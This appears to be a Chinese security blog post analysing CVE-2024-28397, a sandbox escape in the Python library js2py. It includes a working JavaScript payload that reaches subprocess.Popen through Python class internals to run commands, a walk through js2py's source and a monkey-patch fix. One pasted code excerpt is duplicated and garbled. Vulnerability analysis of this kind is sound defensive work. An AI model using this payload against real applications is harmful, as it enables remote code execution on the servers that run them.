CVE-2024-28397 js2Py逃逸浅析

7 分钟

CVE-2024-28397 js2Py逃逸浅析

前言

这是在微信中给我推送的一个漏洞信息,js2py作为一个在python语言中进行js操作的依赖库,确实使用的用途十分广泛。但是由于这个库更多的应当是用于进行爬虫操作,我对于这个库的第一印象也只是在渗透测试中破解前端解密的时候使用过。因此它应该没有什么能够影响的Web资产面

image-20240625164156266

这里的漏洞描述十分简单,我开始看的是云里雾里,也导致了这个原理十分简单的漏洞,一直调试了很久,下文记录一下整个心理历程。

漏洞原理

这是漏洞的payload,最开始我以为pyjsparser.parser.ENABLE_PYIMPORT = False的作用是阻止js代码中通过一些恶意的语句来限制出现python类的对象,因此我的目光是否在eval_js途中使得ENABLE_PYIMPORT =True,于是就开始了调试代码。

import js2py

payload = """
let cmd = "calc;"
let obj
obj = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
    }
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true)
console.log(n11)
"""
def main():
    try:
        result = js2py.eval_js(payload)
    except Exception as e:
        print(e)
        return False
    return result
if __name__ == "__main__":
    main()

首先进入到eval_js中,会先创建一个EvalJs对象,在创建EvalJs途中会初始化一些变量,前面self._var等都是空字典,直至six.iteritems(context),这里的six.py是一个在python2python3中的代码兼容库,而这里的最终作用应该是为了python一些上下文的变量能够被JavaScript访问到

    def __init__(self, context={}, enable_require=False):
        self.__dict__['_context'] = {}
        exec (DEFAULT_HEADER, self._context)
        self.__dict__['_var'] = self._context['var'].to_python()

        if enable_require:
            def _js_require_impl(npm_module_name):
                from .node_import import require
                from .base import to_python
                return require(to_python(npm_module_name), context=self._context)
            setattr(self._var, 'require', _js_require_impl)

        if not isinstance(context, dict):
            try:
                context = context.__dict__
            except:
                raise TypeError(
                    'context has to be either a dict or have __dict__ attr')
        for k, v in six.iteritems(context):
            setattr(self._var, k, v)
def eval_js(js):
    e = EvalJs()
    return e.eval(js)

image-20240625170119196

进入到eval后就会来到execute方法中,use_compilation_plan应该是与某种编译的方式有关,默认是False,随后会判断是否存在缓存,如果存在缓存,则会计算出hash用于查找编译过的代码,如果没有缓存,则会调用translate_jsJS代码转换成Python代码,最终把编译后的代码放入缓存,并通过exec执行代码。

def execute(self, js=None, use_compilation_plan=False):
        try:
            cache = self.__dict__['cache']
        except KeyError:
            cache = self.__dict__['cache'] = {}
        hashkey = hashlib.md5(js.encode('utf-8')).digest()
        try:
            compiled = cache[hashkey]
        except KeyError:
            code = translate_js(
                js, '', use_compilation_plan=use_compilation_plan)
            compiled = cache[hashkey] = compile(code, '<EvalJS snippet>',
                                                'exec')
        exec (compiled, self._context)(self, js=None, use_compilation_plan=False):
        try:
            cache = self.__dict__['cache']
        except KeyError:
            cache = self.__dict__['cache'] = {}
        hashkey = hashlib.md5(js.encode('utf-8')).digest()
        try:
            compiled = cache[hashkey]
        except KeyError:
            code = translate_js(
                js, '', use_compilation_plan=use_compilation_plan)
            compiled = cache[hashkey] = compile(code, '<EvalJS snippet>',
                                                'exec')
        exec (compiled, self._context)

translate_js中,如果是use_compilation_plan的编译方式,则会采用计划编译,默认不是,就会进入到pyjsparser_parse_fn方法中将Javascript代码解析成AST树(可以简单理解为键值对的字典),通过clean_stacks清除编译过程中的堆栈中,通过translating_nodes.trans转换成python代码。

def translate_js(js, HEADER=DEFAULT_HEADER, use_compilation_plan=False, parse_fn=pyjsparser_parse_fn):
    if use_compilation_plan and not '//' in js and not '/*' in js:
        return translate_js_with_compilation_plan(js, HEADER=HEADER)
    parsed = parse_fn(js)
    translating_nodes.clean_stacks()
    return HEADER + translating_nodes.trans(
        parsed)

trans方法中通过从全局变量中获取需要翻译的节点Program,判断是否是标准翻译后,调用node对节点翻译成Python代码。

def trans(ele, standard=False):
    try:
        node = globals().get(ele['type'])
        if not node:
            raise NotImplementedError('%s is not supported!' % ele['type'])
        if standard:
            node = node.__dict__[
                'standard'] if 'standard' in node.__dict__ else node
        return node(**ele)
    except:
        #print ele
        raise

进入到Program当中,首先会通过reset重置堆栈,随后遍历代码的内容并添加变量与函数,通过inline_stack.inject_inlines替换掉内敛变量,最终转换成Python代码。

def Program(type, body):
    inline_stack.reset()  # 重置内联变量堆栈
    code = ''.join(trans(e) for e in body)  # 翻译每个节点并生成代码
    code = Context.get_code() + code  # 添加提升的元素(注册变量和定义函数)
    code = inline_stack.inject_inlines(code)  # 替换所有内联变量
    return code  # 返回最终生成的代码

image-20240625173848756

直到调试到这样,我依旧没有看到我想要的ENABLE_PYIMPORT =True,并且我发现当我调试的时候,代码执行是不成功的,而直接运行是成功的,我尝试直接把pyjsparser.parser.ENABLE_PYIMPORT = False加到了代码执行前面,发现没有效果。最终才知晓了原因。

这里关于pyjsparser.parser.ENABLE_PYIMPORT = False的作用,其实是禁用 Python 导入功能 ,控制了是否允许在 JavaScript 代码中使用 Python 的导入语句。

import js2py
import pyjsparser
#pyjsparser.parser.ENABLE_PYIMPORT = False
js_code = """
    pyimport os;
    var current_dir = os.getcwd();
    current_dir;
"""

result = js2py.eval_js(js_code)
print(result)
    def parseStatementListItem(self):
        if (self.lookahead['type'] == Token.Keyword):
            val = (self.lookahead['value'])
            if val == 'export':
                raise Ecma51NotSupported('ExportDeclaration')
            elif val == 'import':
                raise Ecma51NotSupported('ImportDeclaration')
            elif val == 'const' or val == 'let':
                return self.parseLexicalDeclaration({
                    'inFor': false
                })
            elif val == 'function':
                return self.parseFunctionDeclaration(Node())
            elif val == 'class':
                raise Ecma51NotSupported('ClassDeclaration')
            elif ENABLE_PYIMPORT and val == 'pyimport':  
                return self.parsePyimportStatement()
        return self.parseStatement()
这里从val中能够获取到pyimport,当ENABLE_PYIMPORT=true时才会进入到parsePyimportStatement()解析,否则会来到self.parseStatement()最终进入到throwUnexpectedToken抛出异常信息

但是payload没有受到限制,payload是通过当Javascript在于Python交互时,通过Object.getOwnPropertyNames({})获取了一个PyObjectWrapper,最终通过找到基类的Popen方法触发了命令执行。所以漏洞的成因是ENABLE_PYIMPORT = False的控制没有考虑全面。

obj = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__
#Object.getOwnPropertyNames获取到了PyObjectWrapper,然后通过类属性获取到基类

修复

这里发现者给出了漏洞的修复方案,主要就是通过替换了Object.getOwnPropertyNames原始方法的形式,使得getOwnPropertyNames只返回一个列表,从而获取不到pyObjectWrapper对象,但是也可能会对原来的代码产生一定的影响。

def monkey_patch():
    from js2py.constructors.jsobject import Object
    fn = Object.own["getOwnPropertyNames"]["value"].code
    def wraps(*args, **kwargs):
        result = fn(*args, **kwargs)
        return list(result)
    Object.own["getOwnPropertyNames"]["value"].code = wraps


if __name__ == "__main__":
    monkey_patch()

尝试下是否有其它方式可以绕过,关键就在于能不能不通过getOwnPropertyNames来获取PyObjectWrapper,查看内置的Python方法,还有getOwnPropertyDescriptor,getOwnPropertySymbols等分别用于获取属性描述符,对象的符号属性。

Object.keys()
Object.getOwnPropertyDescriptor()
Object.getOwnPropertySymbols()
Object.entries()
Object.getPrototypeOf()
Object.create()
...似乎都不行

类似如下,虽然它们都是Python对象,比如PyJsStringPyJsObject,但是最终返回出去的只是那个值,只有getOwnPropertyNames返回的显示是一个对象,最终也是没有找到。

image-20240626110133828

def Js(val, Clamped=False):
    if isinstance(val, PyJs):
        return val
    elif val is None:
        return undefined
    elif isinstance(val, basestring):
        return PyJsString(val, StringPrototype)
    elif isinstance(val, bool):
        return true if val else false
    elif isinstance(val, float) or isinstance(val, int) or isinstance(
            val, long) or (NUMPY_AVAILABLE and isinstance(
                val,
                (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
                 numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
        if val in NUM_BANK:
            return NUM_BANK[val]
        return PyJsNumber(float(val), NumberPrototype)
    elif isinstance(val, FunctionType):
        return PyJsFunction(val, FunctionPrototype)
    elif isinstance(val, dict): 
        temp = PyJsObject({}, ObjectPrototype)
        for k, v in six.iteritems(val):
            temp.put(Js(k), Js(v))
        return temp
    elif isinstance(val, (list, tuple)):  
        return PyJsArray(val, ArrayPrototype)
    elif isinstance(val, JsObjectWrapper):
        return val.__dict__['_obj']
    elif NUMPY_AVAILABLE and isinstance(val, numpy.ndarray):
        if val.dtype == numpy.int8:
            return PyJsInt8Array(val, Int8ArrayPrototype)
        elif val.dtype == numpy.uint8 and not Clamped:
            return PyJsUint8Array(val, Uint8ArrayPrototype)
        elif val.dtype == numpy.uint8 and Clamped:
            return PyJsUint8ClampedArray(val, Uint8ClampedArrayPrototype)
        elif val.dtype == numpy.int16:
            return PyJsInt16Array(val, Int16ArrayPrototype)
        elif val.dtype == numpy.uint16:
            return PyJsUint16Array(val, Uint16ArrayPrototype)
        elif val.dtype == numpy.int32:
            return PyJsInt32Array(val, Int32ArrayPrototype)
        elif val.dtype == numpy.uint32:
            return PyJsUint16Array(val, Uint32ArrayPrototype)
        elif val.dtype == numpy.float32:
            return PyJsFloat32Array(val, Float32ArrayPrototype)
        elif val.dtype == numpy.float64:
            return PyJsFloat64Array(val, Float64ArrayPrototype)
    else:  # try to convert to js object
        return py_wrap(val)
似乎只有当避开了所有的类型检测,最终调用的是py_wrap才会返回PyObjectWrapperpython对象,而getOwnPropertyNames返回的是dict_keys[]的类型,不属于上述的任何类型,因此才能够成功。

总结

js2py沙盒逃逸的成因就是因为JavascirptPython进行交互途中,对代码的限制不严,导致能够在js中获取到pyObjectWrapper对象进而获取基类,造成了逃逸。

参考文章:漏洞发现者Marven11的payload

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:CVE-2024-28397 js2Py逃逸浅析
文章链接:https://aiwin.fun/index.php/archives/4421/
最后编辑:2024 年 6 月 26 日 12:05 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 6 + 4 =
快来做第一个评论的人吧~